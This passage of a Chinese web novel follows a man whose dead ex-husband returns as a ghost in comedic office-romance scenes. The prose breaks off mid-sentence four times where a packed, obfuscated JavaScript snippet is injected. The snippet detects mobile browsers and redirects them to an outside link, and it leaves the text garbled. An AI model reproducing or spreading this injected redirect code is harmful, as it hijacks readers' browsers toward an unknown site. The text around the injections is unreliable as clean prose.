“我在你手底下当实习生的时候,有一次聚餐,你喝多了,那晚我送你回家,你枕着我的肩膀说你上大学的钱是你父母卖了唯一一头牛凑齐的。” 他仰着头,眼神又变得无比缱绻温柔:“你还说,你当时半工半读,早餐是雷打不动的馒头配榨菜,午饭在食堂点最便宜的套餐,晚饭不吃,每学期的奖学金偷偷拿一半出来塞给你很早辍学的妹妹。” 赵郢嗓子有些哑:“就为这个?” “就为这个。” 竟然是这么简单的原因,赵郢一脸意料之外的表情,震惊又难过地抿了抿唇。 这是很久以前的事了,发生在四年前。那时他以为他和韩谦睡完就不会再有联系,结果没过多久,却在新一批通过面试的实习生里发现了一张与韩谦几乎一模一样的脸,唯一不同的是眼睛和发色。 那人瞳色接近纯黑,看上去很单纯无害,头发则是柔顺光泽的亚麻色。 更不巧的是,这个同名同姓的人被分到赵郢所在的项目组。 当他被韩谦以“不懂如何使用咖啡机”的名义堵在茶水间,他就像在虎口装死的猞猁,一动也不敢动。 “赵郢。”韩谦两指夹起他挂在胸口的工牌,普通话有点怪异,“原来你叫赵郢。” 二十六岁的赵郢还没晋升成经理,他把工牌从韩谦手里抽回来,公事公办地笑道:“也可以叫我赵组长。” 他这幅态度将韩谦气了个够呛,他握紧赵郢的手腕,压低音量:“赵组长,是吗。你对你团队的人也这么不负责任,上完床一声招呼不打就跑了?” “还往床头放了六百块钱,你什么意思?” 不负责任的赵组长认真解释道:“没别的意思,只是感谢你后半夜帮我清理,你可以理解为辛苦费。” “辛苦费?” 韩谦英俊深邃的面容有些扭曲:“你把我当成澡堂的钟点工吗?” 赵郢打断道:“钟点工一小时可没六百。” 自此他和韩谦算是结了怨,至于韩谦提到的同事聚餐,那又是后话了。 赵郢的掌心离韩谦的心脏很近,饶是这样他也感受不到心脏的跳动,好像捂的是一潭死水。 煤油灯昏黄的灯光将韩谦的侧脸照亮,亮到赵郢仿佛能看到他脸上细小的绒毛。 “我不在乎你之后会不会再爱上其他人。”韩谦说,“赵郢,我只希望你答应我一件事。” “你说。” “不要太快忘了我。” 赵郢故意唱反调:“如果我睡醒就立马忘了呢?” 他很乐意听到诸如“那我就永远纠缠你”“做鬼也不会放过你”之类的话,但韩谦却闷声说,他会让周宁一遍遍地提醒。 “我和他有过一笔交易,那笔交易让他拥有了一份丰厚的报酬。” 赵郢:“你死都死了,周宁怎么知道你要他做什么?” “有没有一种可能,”韩谦说,“我可以托梦?” 赵郢质疑道:“真的假的。” “早上九点,周宁会给你发消息。” 韩谦的轮廓越来越淡,宛如抓了一团虚无缥缈的雾气,煤油灯的烛芯也渐渐黯淡,随着烛火“啪”地一声熄灭,赵郢从梦中醒来。 客厅的时钟指向数字“8”。 赵郢手脚酸麻地坐起身,一条本该在卧室的珊瑚绒毛毯搭在他身上,由于动作滑到小腹附近。 他揉着太阳穴,感觉就像掉进兔子洞的爱丽丝,毫无压力地回想起梦里的每一处细节。 梦境是潜意识的象征,日有所思,夜有所梦,可韩谦的神态、触感又不像作假。 他的潜意识不可能还原到模拟出人皮肤的质感。 以及,他想起韩谦在梦里对他说,早上九点周宁会给他发信息。 他不介意等这一小时。 等待的过程中,赵郢在云升楼下买了份早餐。 咖啡是没法喝了,他怕心脏过速猝死,保守地点了一杯热豆浆。 “赵经理!” 电梯停在三十七层,赵郢一出来就遇见张简荣,他僵硬地扯开一抹笑,内心直呼晦气,表面却和和乐乐的,“早上好。” “赵经理今天真是容光焕发。”张简荣环顾左右,小声道,“恭喜恭喜,首都燕城可是个好地方!” 赵郢笑而不语。 张简荣:“这事儿小白告诉你了吧。这样,下了班一块喝一杯?” “实在抱歉了张主管,我这边不太方便。”赵郢的豆浆都快放凉了,还一口没喝,“昨晚我们团队连夜加班赶工,说好晚上请他们吃饭。” 他躲开张简荣试图搭在他肩头的手:“张主管一起来?” “赵经理好意……”张简荣悻悻地收手,“你们团队聚餐,我还是不打扰了。” 赵郢拎着凉透的三明治豆浆坐回工位,到了九点,周宁果然打了通微信电话过来。 “周秘书,昨晚睡得好吗?”赵郢问道。 “托您的福。” 电话另一头,周宁语气透着淡淡的死感,“昨晚韩总托梦,让我转告您一声,别忘了今天是他头七。” “韩总特地嘱咐说,地府的汇率是100000000:1,您烧纸一定要选打孔的黄纸,带金箔银箔的黄裱纸和元宝最好。有条件的话您还可以烧一杯福莲楼的黑糖珍珠奶茶,少冰全糖,加脆啵啵。” 赵郢:“……” “知道了。” 他捏着眉心,叹气:“周秘书辛苦。” “万般皆是命,半点不由人。”周宁说,“这都是我活……应该的,赵先生。” 赵郢与他寒暄几句后结束了这场通话。 离上班时间还有几分钟,赵郢团队的同事陆陆续续踩着点到了,他一说请客,几个刚毕业没多久的年轻人纷纷起哄想去KTV唱歌。 “我去的不多,地方你们选。”赵郢无奈地摇摇头。 他带的团队这些年有过一些变动,有的人嫌工作压力大辞职跳槽,有的人被调到其他项目组,抛开白舒沅这几个老人,去年秋招结束好歹注入了一批新鲜血液,没令他沦落到当光杆司令的地步。 趁着午休,赵郢点了一家口碑很好的下午茶,下楼在云升附近的金纸店买了韩谦要求的纸钱和一袋黑糖珍珠。 晚上大家走进预定的KTV包厢,有人眼尖地看到角落里的黑色塑料袋,问里面装的什么东西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985774|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “装的钱。”赵郢打趣道。 那人还想接着问,被白舒沅一把拉到点歌台,“唱歌唱歌,别对赵哥的钱占有欲那么明显!”说完,众人笑作一团。 点歌台的待播列表一滑拉不到底,粤语歌英文歌摇滚流行百花齐放。伴奏的声音开得很大,赵郢找了个僻静的角落窝着喝酒,桌面不知不觉多出许多空酒瓶,但他一点也不觉得喝醉了,仅仅只是脑袋有点晕。 台上以白舒沅为首的人唱到一半没有尽兴,正好KTV的大堂经理进来推销,说他们人多,适合找气氛组热闹热闹。 赵郢站起身,摇摇晃晃走了几步,警惕地问:“你们这是正规气氛组吗?” “包正规的呀哥!” 白舒沅在赵郢身侧旁听,为难道:“赵哥,会不会有点破费了?” “没事。”赵郢挥挥手,站不稳地倚着沙发扶手,“还是我请客。” “叫……六个人吧。” 他们预定的是最大包厢,再多十六个也站得下。 “好嘞哥。”经理殷勤道。稍后,他掏出一台对讲机,“108包厢,108包厢,来六个人。” 十分钟后,包厢的门被人从外面推开。六个样貌不俗的年轻男生站成一排,个个腰细腿长,身高基本都在一米八以上,和韩谦差不多高。 说是气氛组,每个人真的手持荧光棒或者手鼓,不论台上的人唱得有多难听,一律夸成格莱美音乐奖得主。 赵郢没有待很久,他走之前知会白舒沅一声,到前台提前结了账,拎着那袋纸钱在街边等车。 “赵先生。”背后有人喊他。 赵郢回过头,是方才气氛组中的一个男生,眉眼锐利英隽,很有攻击性的长相,但因为年龄太小,又有几分青涩。 男生走过来贴心地为赵郢挡风,眼睛一垂,活脱脱一副“醉酒的爸病重的妈,上学的弟弟破碎的他”。 “您好像喝醉了,需要我送您回家吗?” 赵郢酒量好,在包厢喝的也都是啤酒,此时酒已经醒了大半。他板着脸端详男生的长相,耳边回旋着韩谦托梦说的一些话。 老一辈人常说,头七回魂,投胎往生,韩谦叫他不要忘了自己,但即将进入来世的人,又怎么会记得上辈子爱过的人呢? 赵郢心想,他还有至少四十年的时间来“记得”韩谦,这显然是不公平的。 一辆出租车停在离他们一米远的地方,司机按着喇叭滴了一声。 脱下来的外套垂在赵郢臂弯,衬衫单薄,他忍不住打了个喷嚏:“你把我送到家门口就行,麻烦了。” 一路上男生很安静,哪怕赵郢那样失礼地看了他好一会儿,他也没问原因。 赵郢沉默地把人领上楼,进门后背对着摆放了韩谦遗照的置物架,给男生转去五千:“谢谢你送我回家。” “可是赵先生……” 赵郢留意着周围气流的变化,笑道:“以后有机会再联系。” 没等男生回答,他关上门,在玄关弯腰换鞋。 也许是很不经意的一眼,赵郢与那张黑白遗照上的韩谦遥遥对视,下一秒,他好像被雷劈了一般,电流淌过全身,使他无法控制地晕倒在地,直挺挺地昏了过去。 他昏厥的程度很深,深到再次醒来,感觉自己其实已经被劈死了,处在灵魂离体的状态。 不然—— 不然他为什么会出现在卧室?为什么一抬头就看见一道半透明的影子宛如风筝般飘在上空? 可能是摔倒后扭伤了脖子,赵郢揉搓着疼痛难忍的后颈,不可思议地看着那道影子逐渐成型,凝结成清晰的实体。 与此同时,韩谦阴鸷低沉的声线自空中传来,仿佛自带3D环绕音效: “赵郢,你他妈要找人能不能等我头七过了再说?” 9. 第 9 章 赵郢没有说话。 他像被施了定身术,又好像怀疑自己并未彻底醒来,还沉陷在一个真实度极高的梦中梦里。 那道半透明的影子降下来少许,只有上半身的韩谦双手抱臂,生硬道:“怎么?高兴傻了?” 赵郢终于有了点反应,他谨慎地伸出一只手,穿过犹如冷雾的魂体,紧跟着把手收回,又做了一次相同的动作。 耳听为虚,眼见为实。 世界上没有什么比亲眼见到逝者的灵魂更值得震撼。 韩谦对他这种来回试探的态度非常不满,在赵郢第三次伸手时,他瞬移到床尾,用行动无声抗议。 “你今天头七,再过两分钟投胎。”赵郢摁亮屏幕,晚上十一点五十八分,他把手机竖在韩谦眼前,“为什么你还在这里?” “你以为我想啊?”韩谦此地无银三百两,很大声地说。 他嘴里嘟嘟囔囔:“为了给你跟周宁托两场梦,我辛辛苦苦在地府刷了一天盘子,早知道能还阳……” “你说什么?” 韩谦飘到他近前,眼底闪过一丝不知名的情绪,“在地府过奈何桥的时候,我被阎王派来的阴差拦下来。他们说,当时辽西那段山路,黑白无常本该只勾走司机一个,把我带走纯属意外。” 这是地府历年来最严重的工作失误,事故评级为最高级。 阎王身为地府一把手,以身作则被扣了十年绩效,黑白无常全天庭通报批评,暂时失去评优评先资格,被罚无偿打工三十年。 重返地府,韩谦得知真相后气得火冒三丈,“我命不该绝?遗体都进焚化炉烧成骨灰了,你跟我说我命不该绝?” 他露出一抹阴森森的笑:“那我托的两场告别梦算什么?我刷的一千零八个盘子又算什么?” 阎王捋着长到拖地的白胡须,心虚地笑了笑,下属犯错,他这个领导也面上无光。 “算你……舍己为人,无私奉献?” 韩谦在堂下来回踱步,脸色铁青:“少废话!阴曹地府跟阳间发展同步,你们这有‘问政地府’的群众意见箱吧?我要投诉!” “年轻人,切勿急躁,切勿急躁啊。”阎王提着衣袍走下台阶,咳嗽一声,“你这个事,我们不是说不想解决,没有任何一件事是我们讲说,要以一个消极的方式去面对的。常言道‘事在人为’,咱们现在呢,不妨坐下来喝杯茶,平心静气地想想办法……” 韩谦冷哼道:“我要投诉到’问政天庭‘。” 阎王闻言浑身一凛,在心里把黑白无常骂了两百遍。 这两条鬼把他连坐了不说,还让他这个一把手给他们擦屁股,简直本末倒置,倒反天罡! “好好好,年轻人。”他从袖中取出一张鎏金纸笺,食指悬于纸面,虚空写了几行字,盖上象征阎王身份的印章,“你的还阳申请我批准了,从现在开始,你随时都能返回阳间。” 韩谦接了过去,头也不回地离开。 “事情的经过就是这样。” 卧室里,那张阎王亲签的阳间通行证仿佛一片不会掉落的羽毛,轻盈地静止在半空。 字迹透出的金色微光有一部分洒在赵郢侧脸,他探出指尖想要触碰,纸片却有意识似的躲开了。 通行证化成一股水流,融入韩谦的掌纹。他打开赵郢床头那盏火山形状的小夜灯,扁嘴说,“阎王偷偷告诉我,有人在阳间为我供了八盏长生烛。赵郢,是不是你——” “不是。” 赵郢揉了揉后颈,别过脸:“不要自作多情。” “呵呵。”韩谦猛然移到赵郢背后,朝他脖子上那条细细的银链吹了口冷气,“装什么,你根本就是对我余情未了,不然为什么把我们的结婚戒指随身携带?” 他阴阳怪气地模仿赵郢的语气:“我们早在一年前就离、婚、了。”话音刚落,不忘记仇地啧了一声。 赵郢:“……” 手痒,想扇。 他把项链扯出来,没什么表情地将那颗工艺精美的戒指倒在手中,“七位数的布契拉提高定,一年前还你你不要,我担心被偷才一直戴着。” “我不信,你明明超爱。”韩谦油盐不进道。 “爱信不信。” “那天我都看到了。”韩谦说,“你下班后没有立刻回家,而是导航去了一家寺庙。赵郢,我不明白,做过的事为什么不承认?” 戒指上凹凸不平的花纹在皮肤表面刻下浅浅的印记,赵郢面不改色地把戒指串回银链间,问道:“你跟着我进去了?” 听到韩谦说“没有”,他松了口气。 幸好。 那时他说话不过脑子,也没思考是否犯了忌讳,想到什么就说什么了。 的确,人是受本能驱使的,就好比危难当头母亲会下意识护住孩子,一个小孩在大街上喊“妈妈”,所有年龄合适的女性都会回头。 他只记得看到烛台的那一瞬间,所有念头都被摒弃,唯一想要的就是让韩谦活着。 “赵郢,不要以为哭就能逃避我的问题。” 赵郢擦擦脸颊,干燥的。 “谁哭了?” “你眼眶红了。” 他趿着拖鞋,无视韩谦的谎言去外面倒了杯冰水。 韩谦恍若一只被赵郢牵着绳的氢气球,赵郢走到哪他就飘到哪。 途径客厅,窝在沙发上的比格犬吸吸鼻子,桂圆核大小的眼睛惺忪地眨巴两下,紧接着瞪得浑圆。 韩谦叫了声“公主”,它从沙发一跃而下,在扑向韩谦的后一秒以头抢地,扑了个空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985775|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这一幕刚好被赵郢尽收眼底。 他当着韩谦的面点了一根烟,润红的薄唇吹气似的轻轻呼了一下:“你永远都是这样了吗?” “不一定。” 韩谦隐忍地压着眉,他目前没有能力幻化出完整的鬼形,但他还是浮到一米九二的高度,深沉道:“多亏你烧的长生烛,我大概很快可以形成真正的实体。阎王说落成的速度因人而异,有的人快,有的人慢。一周、一月,一年都有可能,这个说不准。” “你会隐身吗?”煊赫门的烟嘴有点甜味,赵郢舔了舔嘴唇,一抹甜腻的药味在舌尖晕开,“就像WPS设置透明度那样。” “当然。”韩谦骄傲地说。 他敲了个响指,身体慢慢淡化到接近透明的程度。 “百分之九十。” 外形线条加深了一些。 “百分之六十。” 加深更多。 “百分之三十。” 接近活人的颜色。 “百分之十。” 赵郢回忆起几天前莫名出现在腰侧的淤青,像极了被手指掐过的样子。 这种痕迹并不是他第一次见,因为他和韩谦的每一次总是不那么温和,他的肤色也恰恰是容易留痕的类型。 “所以之前是你在浴室偷看我洗澡?”赵郢找了个烟灰缸,将烟头按了进去,“我腰上的手印也是你掐的?” 韩谦缓缓目移,交待罪行丝毫不拖泥带水:“嗯。” “……” 赵郢沉默片刻,最后没有选择追究下去。 “也就是说,你并不是完全无法碰到阳间的物体,可以使身体的一部分与人或物接触?” 韩谦:“嗯……没错。” “那以后每天遛狗的任务交给你负责,记得凌晨再下去,别吓到小区其他住户。” 赵郢眼皮有些沉,满脸困意,他指向与主卧一墙之隔的客房,“那个房间归你,晚上不许进主卧。” “赵郢,我不想分房睡。”韩谦飘浮在主卧门口。 赵郢打了个哈欠,眼尾湿润:“不想睡就滚出去,第二天我再找个道士收了你,让你在人家葫芦里睡。” 他关上房门,一沾枕头就睡过去了,睡眠质量是这段时间以来最好的一次,连惯用的小夜灯也没开,只是睡梦中隐隐约约感到被窝里多了点什么,左手边的被褥也被顶出一道人形。 四月份的南水市昼暖夜凉,冷空气嗖嗖往赵郢脖子里钻,他不得不靠过去取暖。 靠着靠着,赵郢意识到不对,忽然间睁眼惊醒。 他幽幽地盯着那撮黑棕色的头发,说:“韩谦,回客房睡。” 那人梦呓般喃喃:“不要……我怕鬼。” 赵郢:“……” 10. 第 10 章 后半夜,赵郢翻来覆去,再也没有睡意。 他侧着身面朝韩谦,这个人睡着的时候就像一头幼年小狼,左看右看都是狗的形态模样,长大了摇身一变,才察觉到这货不该吃狗粮,得待在野外或者动物园。 韩谦的眼皮是很薄的,抬眼时,眉骨那块山脉一样高挺英气,眼窝浅浅凹出一道褶,完全不像刻板印象里的“欧美大双”那样夸张。 其实并不是所有中外混血都好看。 赵郢见过远不如他的,只是韩谦踩中狗屎运,被分在“格外好看出挑”那一挂里罢了。 “赵郢……”受到女娲优待的幸运儿在他怀里拱了拱,带着鼻音嘟囔了一句。 一股寒流吹遍赵郢全身,他掀开被子一看,发现韩谦的下半身也“长了出来”,两条腿正一上一下紧紧缠着他的小腿肚,其制冷效果不亚于放了台制冷空调。 好在赵郢的床够大,是200cmx200cm的尺寸。他双手扣住被褥边缘,翻身一卷,滚到床的另一边睡去了。 鬼不会感冒,但他会。 当天起床上班,赵郢还是倒霉地着了凉,说话嗓音沙哑,整个人怏怏的,宛如一棵蔫了吧唧的绿叶菜。 他戴上医用口罩,声音闷闷的:“茶几上有电视遥控器,iPad在卧室抽屉第一格,Switch可能没电了,想玩自己充。” “你生病了,不能请个假在家休息一天?” 韩谦说得理直气壮,对“自己就是导致赵郢生病的罪魁祸首”这件事一无所知。公主蹲在韩谦的家居拖鞋上,斜着眼嘹亮地“嗷呜”一嗓子。 “请假扣工资。”赵郢随口说。虽然他银行卡的余额多到八辈子花不完,但一时牛马人,一生牛马情,不努力赚钱总感觉人生少了点什么,可能这就是被PUA熏入味了吧。 说着,他扭头在微信群聊发了条语音,让团队所有人上午十点半在会议室集合开个短会,总结上个季度的工作情况。 “赵哥。”白舒沅在半道上撞见赵郢,惊讶道,“这是怎么了?一晚上没见跟被鬼吸了阳气似的。” “小感冒。” 赵郢捏了捏鼻梁,皱眉笑:“什么乱七八糟的。” 不过白舒沅也没说错,他确实被鬼折腾得半晚没睡。 赵郢也是从实习生一步步晋升上来的,领导常说的车轱辘话他也不爱听,于是会议中长话短说,每个人抽几分钟讲讲各自负责的部分也就结束了。 他放下鼠标,准备关闭投屏时,身后的屏幕弹出一条邮件信息,是群发的,所有人都能在自己的工作邮箱中看到。 有人将大致内容念了出来:“根据云升战略规划及工作需要,特任命杜蘅女士担任华中区总监……杜蘅是谁?” “可能是燕城那边的人。”赵郢说。 他是知道杜蘅这个人的,更准确地讲,他们认识。 韩谦亲生父亲的原配妻子姓杜,自从乔彬程瘫痪无法言行,云升总部的主要事务大多由那位杜女士接手,公司出现的职务空缺,也都被杜家人查漏补缺。 不像罗廉开半场开香槟,他一开始就没想过自己能晋升到这个位置,分公司GM[1]给他画的大饼是一回事,大饼会不会成真,又是另一回事。 “好了好了,马上到午休时间,大家都散——” 不等“了”字说出口,下一秒,那块硕大的办公智屏细致而清晰地投放出赵郢的微信消息弹窗。 公主:赵郢。 公主:赵郢你在吗? 公主:赵郢,帮我点杯福莲楼的黑糖珍珠,少冰,要全糖。 赵郢:“……” 他不慌不忙地断开电脑与投屏的链接,视线收回,团队里的同事们收拾东西的收拾东西,抱着笔记本开溜的开溜,大家看上去很忙,却又不知道在忙什么。 白舒沅最后一个走,她强忍着笑说:“赵哥,结婚我想坐主桌。” “吃你的减脂餐去。”赵郢拿起一叠文件扇两下空气,一副赶人的架势,“再八卦胖十斤。” 白舒沅“嘤”地一声跑开了。 赵郢出门前怕韩谦在家无聊,给了他一个闲置不用的旧手机,手机单独绑了张电话卡,微信号也是他读大学那会儿开的小号。 算是预料到刚才那种窘状,他十分有先见之明地把备注改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985776|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成了比格犬的名字。万一原封不动地设置成“韩谦”,恐怕明天他以及团队全部成员都要上“走近科学”。 赵郢抱着笔记本走进办公室,第一步就是将门反锁,拉上百叶窗。 他拨了通微信语音过去,气得不轻:“你都这样了还想喝奶茶?你告诉我怎么喝,嗯?” 韩谦:“我可以一边欣赏,一边想象它的味道。” 赵郢扶额,说:“别逼我……” “好了我不喝了。”韩谦滑跪道,“你这个人好暴力,对我一点也不温柔。” 赵郢“哦”了声,“那你找个温柔的吧,别赖在我家。” “不要。” 韩谦切换语言系统,振振有词道:“Iwillbewatchingyou……forever……” 赵郢忍无可忍地把电话挂了。 一下午的时间,整个分公司已经传开,甚至越传越离谱,有说赵郢隐婚,背地里连孩子都抱上了的,也有说他是哪位领导的上门女婿,赘入豪门的。 这很难评。 赵郢躲进楼道里抽烟,那种新买的打火机抽疯了似的,怎么也打不着火。他想到某种可能,压低嗓音说:“滚出来,韩谦。” “就知道你背着我偷偷藏了烟。”昨天韩谦把他三包煊赫门全扔了,扬言赵郢买一包他扔一包,如今一盒薄荷爆珠从赵郢口袋里飘出来,一只90%透明的手拨开烟盒,捏爆了每一根烟嘴里的爆珠。 赵郢:“……” 他默不作声地朝办公室走去,韩谦隐藏在空气中,用他们两个人才听得见的音量小声说:“我早上不知道你在开会,不是故意的。” “我不在乎别人怎么评价我。”走到没人的地方,赵郢扶了扶鼻梁的眼镜架,“以前可能在乎,但现在不了。哪怕他们知道我跟你的关系,知道发消息的人是你,我也不觉得这有什么大不了的。” 赵郢侧对着一面玻璃窗,窗户上映出他单薄的侧影,与笼罩在侧影周围,略深一些的阴影。 “所以。” 他感觉到耳边有气流拂过,此时韩谦开口问道:“我们现在是什么关系?” 11. 第 11 章 一模一样的话,赵郢四年前听过很多次。 白舒沅和韩谦是一前一后入职的,白舒沅比他早半年,刚转正没多久,在一排嫩苗实习生里算老资历了。赵郢叫她带韩谦,一方面是为了避嫌,另一方面,他自己的工作任务重,分不出多余精力。 结果不到一天,白舒沅一纸状书告到“御前”,说韩谦不乐意跑腿打杂,不服管,说他一句顶嘴一百句,还叽里呱啦拽一堆洋文。 “赵哥,要不……你亲自和他谈谈?”白舒沅问得很小心,仿佛赵郢说一声“不”,她就能立刻做好心理准备,再战八百回。 赵郢摘下眼镜收进眼镜盒,按了按眉心:“好,辛苦你了。” 午餐时间,赵郢带着工卡到楼下员工食堂吃饭。 云升的食堂种类很丰富,港式烧腊、东南亚料理、西餐,本土的菜系更是应有尽有,甚至时不时更换菜单,好吃到隔壁公司的员工会在私底下找他们借工卡,过来换换口味。 赵郢常去的是五楼那家烧卤饭,人少,上餐快,每次他都坐在同一个位置。 但刚坐上去,对面的椅子就被人拉开,前一脚在办公室被白舒沅口诛笔伐的刺头板着一张脸,朝赵郢抬抬下巴。 饭还没吃,赵郢已经有些没胃口了。 “赵郢。”韩谦眼睛里有红血丝,眼尾红肿,像被用力揉过,“你吃什么?” “烧鹅拼叉烧。” 赵郢低头翻看起菜单,声音不高不低:“工作的时候称职务。” 说话的功夫,有一个和韩谦一同被分到赵郢手下的实习生从他们背后路过,对赵郢挥挥手,小声说:“赵、赵哥好。”赵郢点点头,那人如释重负地大步走开。 韩谦:“……” “凭什么他叫你‘赵哥’,我要叫‘赵组长’?”他语出惊人,“你睡/我的时候怎么不让我喊‘赵组长’?” “你他妈小点声!”赵郢被他的虎狼之词吓得一哆嗦,但众目睽睽之下,也不好当场捂住韩谦的嘴。 哎,烦人。 他把做好的双拼饭端到桌面,在烧鹅表面淋了层酸梅酱,“那晚我是情不自禁,又不是变态。你喊什么随你,行了吧?” 十分钟后,韩谦也端着餐盘回来,跟他一样,点的烧鹅拼叉烧。 这人吃饭的时候很安静,一句话不说默默干饭,赵郢注意到他的饭量似乎是自己的两倍,于是多问了一嘴:“怎么样,好吃吗这个?” “待会儿我打包一份当晚饭……”韩谦抽张纸巾擦擦嘴角的酸梅酱,顿了顿,“我从没吃过这个。” 赵郢夹菜的手一顿:? 韩谦的语气不像是在开玩笑,表情认真而享受,恍若这顿有餐补的免费烧卤饭是什么宫廷御菜一般。 赵郢眼底又多了几分复杂的同情。 他放下筷子,用哄三岁堂弟的语气缓缓道:“今天和同事相处得怎么样?” “Daisy向你打小报告了?”韩谦一眼看穿。 “不好意思。”赵郢提着嘴角,笑容隐隐透着无奈,“Daisy又是哪位。” 韩谦不认可地眯了眯眼,仿佛在质疑他这个组长尸位素餐,连下属叫什么都不清楚。 “Daisy是舒沅姐的英文名。”韩谦说,“就像你的英文名是Miles。” 赵郢:“……” 他怎么不知道他叫Miles? 赵郢想了半天,忽然想起上半年云升的数据库更新员工信息,要求每个人给自己取一个英文名,与国际接轨,方便以后接触外国客户。 这种东西就当时图一新鲜,估计白舒沅也早就忘了。 赵郢看过他的履历,毕业于卡内基梅隆大学计算机学院,奖项和实习经历堪称辉煌,但云升很少招留学生,互称英文名这套在公司行不通。 “说中文就行。”他拧开保温瓶,喝了口上午泡的金骏眉,“白舒沅没跟我打小报告,是我今天路过看到的。摆着一张臭脸,这不服那不服的,还不积极配合同事,我说的对不对?” “什么叫我不积极配合?”韩谦活像一包炸药桶,一点就爆,“赵郢,你既然都看见了怎么还说得出这种话?舒沅姐上午给我分配工作,我电脑都没打开就有人让我帮忙复印文件,坐下不到五分钟,又叫我下楼拿咖啡、取外卖,这是实习生还是跑腿打杂?” “舒沅姐说实习生都是这么过来的,我实在不理解,难道云升的企业文化就是老员工有活不干,把摊子甩新人头上吗?” 原来刺头刺的是这个,赵郢心想。 说白了是他和白舒沅思维方式不同,教育背景也截然相反。白舒沅觉得很正常的事,换到韩谦那里,就是某种程度上的职场霸凌。 “再有下次你可以直接拒绝,有突发情况来办公室找我。” 赵郢不戴眼镜显得特别年轻,瞧着比韩谦大不了几岁。他微微弯着嘴角,脸上的梨涡若隐若现,“有没有人告诉过你,你说话很冲?凶死了。白舒沅那么说是怕你和其他同事起冲突,没坏心思,你以后注意注意沟通方式,行吗韩谦?” “嗯。”韩谦闷闷应下了。 “我记得你那晚不是这个颜色。”赵郢指了指眼珠,回忆道,“蓝色……偏蓝灰?” 韩谦说:“我戴了美瞳。” 赵郢“哦”了一声,韩谦这种留过学的都特有边界感,所以也没多问。 等韩谦吃完,赵郢跟他一道把餐盘还了,肩并肩站着等电梯。 他们挨得很近,赵郢似乎能感受到从韩谦那边源源不断传来的热意,以及一点快挥发干净的男士香水的味道。 他右手伸进口袋,摸出一瓶眼药水:“喏,这个给你。” “这是什么?”韩谦问他。 “眼药水。缓解眼部疲劳,有效减少红血丝。”赵郢把广告词念了一遍。 他把手递过去的时候,韩谦动作灵活地顺走了眼药水,然后牢牢扣住他的指缝,别有所图地摩挲着赵郢的手背。 这双手的威力赵郢在那晚已经领教过了,周围没人,他没有挣扎,任韩谦这么牵着。 “抓一会儿得了,还想抓多久?”赵郢试着拔开手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985777|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但没成功。 韩谦反而愈发嚣张地握住他的手腕,指节探进赵郢的衬衫袖口,在那片光滑细腻的皮肤上轻轻勾了勾。 “赵郢,我们现在是什么关系?” “上级和下属的关系。”赵郢面无表情,警告道,“也可以是被告和原告的关系。” 附在手腕的力道一轻,韩谦终于把手拿开,就是看上去不大高兴。 对他来说,受到一见钟情的对象的消极反馈是件令人难过的事情,毕竟在他确认自己的性取向以后,赵郢是他第一个喜欢的人。 这些话他不打算说出来,太没面子。 赵郢见他面色凝重地皱着眉,有些不忍心地安慰道:“韩谦,你才二十岁,为什么非要在一棵树上吊死呢?” “只是比你小六岁而已,又不是小十六。” 赵郢无语道:“朋友,小十六那叫犯罪。” 他太阳穴又开始疼起来,早知道韩谦的脑回路是这样,他就不该善心泛滥地送他到酒店。 电梯停在这一层,他们被后面上来的人双双挤到角落,赵郢几乎是以一个类似拥抱的姿势靠着韩谦的胸膛。 “赵组长。”背后那人嘴唇贴着他的耳朵,“你如果不想负责,我不会为难你的。” 赵郢有些难为情。 站在他们前面的同事还在兴致昂扬地谈论中小学生教育问题,大谈阔论地评点南水市各大名初名小的教学质量,而韩谦却借着遮挡,不要脸地掐着他的腰。 光天化日,岂有此理。 “你想我怎么负责?”赵郢问道。 他已经做好义正严辞拒绝的准备,如果韩谦继续纠缠,他也会继续拒绝。 这很有态度了。 半晌,他听到那人低声说:“每一天中午你都陪我吃这家烧卤饭好不好?” 赵郢:“……” 神经病。 晚上赵郢在公司加了会儿班,离开时夜已深,天空飘起细细小雨。 